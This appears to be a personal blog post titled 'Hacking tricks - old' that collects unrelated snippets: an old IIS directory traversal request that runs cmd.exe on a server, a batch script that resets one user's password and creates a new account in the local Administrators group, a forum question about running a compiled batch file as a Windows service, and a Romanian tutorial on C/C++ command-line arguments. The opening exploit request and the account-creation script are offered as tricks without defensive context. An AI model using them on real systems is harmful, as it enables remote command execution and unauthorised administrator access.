Tuesday, January 25, 2022

Hacking tricks - old

 GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 200 -

:@ECHO OFF
NET USER DARIUS PASSWORD
PAUSE
NET USER VOILMOVE PASSWORD /ADD
PAUSE
NET LOCALGROUP "ADMINISTRATORS" VOILMOVE /ADD

---------------------------------


When I try to create a service that use an exe file I just converted using the Batch File Compiler, it will not start. Here is what I have tried:
Code:
sc create notepad binpath= "c:\windows\system32\notepad.exe"


This works and starts with no problem but if I write a bat file and convert it that has
Code:
notepad
in it and then use the following code to create a service
Code:
sc create notepad binpath= "C:\Docume~1\bwm5863\Desktop\not.exe"
it will not start.
Any help would be appreciated.

-------------------------
nu e nimic greu. Daca vrei ca aplicatia ta sa poate fi rulata cu anumiti parametri, in loc sa declar functia main ca void main() o declari asa:
CODE
void main(int nr_param,char *parametru[])

unde *parametru[] este un pointer catre un vector de caractere... ca sa intelegi mai bine, iti dau un exemplu.
Rulez programul cu urmatorii parametri : -a -b -c -d

Atunci se vor retine in felul urmator:

nr_param va retine 5 iar parametru va arata in felul urmator:

parametru[0]="calea executabilului tau"
parametru[1]="-a"
parametru[2]="-b"
parametru[3]="-c"
parametru[4]="-d"
parametru[5]=gol

Acum, poti face verificarea in felul urmator

CODE
int i;
for(i=1;i<=nr_param-1;i++) if(strcmp(parametru[i],"-help")==0) cout<<"Ati folosit comanda help";
else cout<<"va credeti geniu sa folositi programul fara sa consultati help-ul ? ";


P.S am vazut ca te-ai incurcat in argc si argv... poti pune orice denumire in argumentul functiei main.. important este sa stii ca primul argument reprezinta numarul de parametri iar al doilea valorile parametrilor.

--------------------------


#include <iostream>

using namespace std;

int main(int nr_parm,char *par[])
{
     if (strcmp(par[1], "-help")==0)
        cout << "Ai folosit comanda -help";
     else
        cout << "Nu ai folosit comanda -help";
}

-----------------------